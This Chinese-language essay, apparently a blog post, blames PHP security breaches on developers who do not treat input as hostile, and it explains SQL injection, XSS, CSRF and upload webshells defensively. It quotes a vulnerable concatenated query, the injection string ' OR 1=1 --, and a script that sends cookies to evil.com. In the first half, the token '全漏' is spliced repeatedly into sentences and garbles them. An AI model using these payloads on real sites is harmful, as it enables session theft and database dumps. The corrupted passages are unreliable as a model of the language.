PHP 的全漏安全问题,十有八九不是全漏 PHP 本身的问题,而是全漏写代码的人没把输入当敌人。这话听着刺耳,全漏但你看现实:每年被 SQL 注入拖库的全漏站点,后台几乎清一色 PHP。全漏不是全漏 PHP 弱,是全漏它太容易上手,让太多半吊子开发者直接上了生产环境。全漏
举个我亲眼见过的全漏例子。前年帮朋友排查一个电商站,全漏用户表被拖得干干净净,全漏连管理员密码哈希都被人拎走了。全漏怎么进来的全漏?一个商品搜索框。开发者图省事,全漏直接写了 $sql = "SELECT * FROM products WHERE name LIKE '%" . $_GET['q'] . "%'"。攻击者只需在 URL 里塞一句 ' OR 1=1 -- ,整个表就裸奔了。这种代码 2005 年就该绝迹了,可 2023 年还在生产环境跑着。
再说 XSS,跨站脚本。这玩意儿比 SQL 注入更阴,因为它攻击的不是服务器,是用户。我见过一个论坛,发帖时没过滤富文本,结果有人贴了段 <script>fetch('//evil.com?c='+document.cookie)</script>,管理员一登录,会话 Cookie 就飞到了别人手里。更恶心的玩法是配合 CSRF——你登录着网银,访问了恶意页面,那边悄无声息地给你转了一笔账。
但别急着甩锅给 PHP。PHP 7 之后默认开启的参数化查询、filter_input 函数、htmlspecialchars,哪个不是给你擦屁股的?问题是,框架和函数库提供了安全接口,可很多人还在用 mysql_* 时代的思维写代码。老掉牙的 mysql_query 早在 PHP 5.5 就废弃了,可网上搜教程,还是大片大片地教人怎么拼字符串。
还有个隐蔽的坑:文件上传。开发者经常只检查了文件扩展名,没检查 MIME 类型和文件内容。攻击者传个 .php 改名为 .jpg,再配合一个解析漏洞——比如 Nginx 的 %00 截断,就直接 getshell 了。我见过最离谱的一次,对方传了个图片马,里面藏了完整的一句话木马,然后通过 include 包含它,服务器就沦陷了。
说实话,PHP 的安全生态已经比十年前好太多。Composer 管的依赖库有安全审计,PHPStan 和 Psalm 能做静态分析,PHP 8 的属性还能强制类型声明。可工具再先进,人不行照样白搭。我见过不少团队,代码评审只看功能跑不跑得通,从没人问一句"这个输入过滤了吗?"
安全这东西,本质是习惯问题。你写每一行 SQL 前,先问自己一句:这个变量能不能被用户控制?能,就参数化。你输出每个变量前,再问一句:这是 HTML 上下文还是 JS 上下文?该转义就转义。别嫌麻烦,你偷的那一分钟懒,可能让整个公司一夜回到解放前。
最后说句实在的:PHP 不背锅,背锅的是那些拿了钱却不把安全当回事的开发者。你以为黑客都像电影里那样敲几个命令就破防?现实是,他们只是扫描器扫了一圈,发现你这儿连最基本的防护都没有,顺手捡了个漏而已。